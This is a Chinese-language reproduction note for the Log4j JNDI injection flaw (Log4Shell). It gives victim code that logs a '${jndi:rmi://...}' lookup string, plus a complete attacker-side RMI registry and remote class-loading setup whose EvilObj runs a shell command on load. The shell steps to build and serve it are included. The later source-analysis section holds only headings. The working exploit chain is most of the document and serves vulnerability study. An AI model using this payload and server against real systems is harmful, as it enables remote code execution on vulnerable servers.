log4j-CNVD-2021-95914-BUG
1. 缺陷复现
- 缺陷方演示
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
public class log4j_CNVD_2021_95914 {
private static final Logger log = LogManager.getLogger(log4j_CNVD_2021_95914.class);
public static void main(String[] args) {
// java 1.8 修改需修改后台配置才可复现
System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase","true");
System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase","true");
log.error("xxxxxxx${jndi:rmi://127.0.0.1:1099/evil}");
}
// JndiManager.lookup() 最终执行到此
}
- 攻击端代码示例
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.NamingException;
import javax.naming.Reference;
import java.io.IOException;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
// 攻击端执行
// javac HZWJavaRMI.java
// java HZWJavaRMI
// python -m http.server 8001
public class HZWJavaRMI {
public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException {
// LocateRegistry.createRegistry(1099);
LocateRegistry.createRegistry(1099);
Registry reg = LocateRegistry.getRegistry();
Reference ref = new Reference(
"EvilObj","EvilObj",
"http://127.0.0.1:8001/"); // 指定rmi调用方从指定位置加载目标类
ReferenceWrapper refW = new ReferenceWrapper(ref);
reg.bind("evil",refW);
}
}
class EvilObj {
static{
System.out.println("hello evil");
String [] cmd={"/bin/sh","-c","kcalc"};
// String [] cmd={"/bin/sh","-c","calc.exe"};
try {
Process proc =Runtime.getRuntime().exec(cmd);
} catch (IOException e) {
e.printStackTrace();
}
}
}
2. 关键源码分析(2.14.1版本)
完整的漏洞跟踪堆栈
关键代码段
此处的参数可以阻止Lookup的调用,可惜默认值为false
最终产生漏洞的位置:
其java原生原理如下